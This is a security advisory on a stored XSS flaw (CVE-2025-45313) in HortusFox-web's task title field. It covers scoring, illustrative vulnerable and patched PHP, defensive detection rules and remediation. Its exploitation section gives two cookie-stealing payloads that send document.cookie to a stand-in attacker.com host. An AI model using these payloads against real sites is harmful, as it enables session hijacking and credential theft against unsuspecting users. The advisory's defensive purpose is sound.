CVE-2025-45313

Executive Summary

CVE-2025-45313 is a stored cross-site scripting (XSS) vulnerability in the /tasks endpoint of HortusFox-web v4.4. An attacker can inject arbitrary JavaScript into the title parameter, which is then executed in the context of any user viewing the affected task. This allows session hijacking, credential theft, or defacement. The vulnerability is publicly known but remains unpatched by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk increases as proof-of-concept code circulates.

Supply Chain & Package Security

This vulnerability affects the HortusFox-web application, which is a self-hosted PHP-based project management tool. It is not distributed via NPM, PyPI, Go, or Ruby registries. Users should verify the integrity of their downloaded source code and monitor the official repository for any security updates.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view the task)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction, but the impact is limited to information disclosure and minor data manipulation.

Deep Dive & Mechanics

The vulnerability resides in the task creation functionality of HortusFox-web. When a user creates a new task via the /tasks endpoint, the title parameter is not properly sanitized before being stored in the database and later rendered in the browser. An attacker can submit a payload such as:

<script>alert('XSS')</script>

When another user views the task list or the specific task, the script executes in their browser. The stored nature of the XSS means the payload persists until manually removed.

The vulnerable code likely uses echo or print to output the title without HTML encoding. For example:

// Vulnerable code
echo "<div class='task-title'>" . $task['title'] . "</div>";

A secure implementation would use htmlspecialchars() or similar:

// Patched code
echo "<div class='task-title'>" . htmlspecialchars($task['title'], ENT_QUOTES, 'UTF-8') . "</div>";

Vulnerable vs. Patched Code

Vulnerable (HortusFox-web v4.4):

// In task display logic
echo "<h3>" . $task['title'] . "</h3>";

Patched (Hypothetical):

// In task display logic
echo "<h3>" . htmlspecialchars($task['title'], ENT_QUOTES, 'UTF-8') . "</h3>";

The patched version encodes special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of HortusFox-web v4.4
• A valid user account (or ability to create one)
• Network access to the /tasks endpoint

Exploitation Steps:

1. Log in to HortusFox-web.
2. Navigate to the task creation page (e.g., /tasks/create).
3. In the title field, inject a malicious payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

4. Submit the form.
5. Any user viewing the task list will trigger the XSS, sending their cookies to the attacker.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

• Monitor HTTP requests to /tasks for unusual title parameters containing <script>, onerror, or other HTML event handlers.
• Use web application firewalls (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation and output encoding as shown in the patched code.
• Restrict user permissions to minimize the number of users who can create tasks.
• Regularly review and sanitize existing task titles.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /tasks with title containing <script> or onerror attributes.
  • Outbound connections to unknown domains from the HortusFox-web server.
• File System:
  • Modified database entries in the tasks table with suspicious title values.
• Logs:
  • Web server logs showing repeated requests to /tasks with encoded payloads.

Detection Engineering

YARA Rule

rule CVE_2025_45313_XSS_Title {
    meta:
        description = "Detects XSS payloads in HortusFox-web task titles"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-45313"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-45313 - XSS in HortusFox-web Task Title
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects XSS payloads in the title parameter of HortusFox-web /tasks endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/tasks'
        cs-uri-query|contains|all:
            - 'title='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in task titles (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-45313 - XSS in HortusFox-web Task Title"; flow:to_server,established; content:"POST"; http_method; content:"/tasks"; http_uri; content:"title="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable task creation for untrusted users until a patch is applied.
2. Manually sanitize existing task titles in the database using a script.
3. Implement a WAF rule to block requests containing <script> in the title parameter.

Long-Term Fix:

• Apply output encoding to all user-supplied data before rendering.
• Use a templating engine that auto-escapes HTML (e.g., Twig).
• Conduct a full security audit of the application.

Workaround:

• Add the following CSP header to the web server configuration:

Header set Content-Security-Policy "default-src 'self'; script-src 'none';"

This will block all inline scripts, mitigating XSS even if the vulnerability remains.

Valters IT
Securing digital frontiers, one CVE at a time.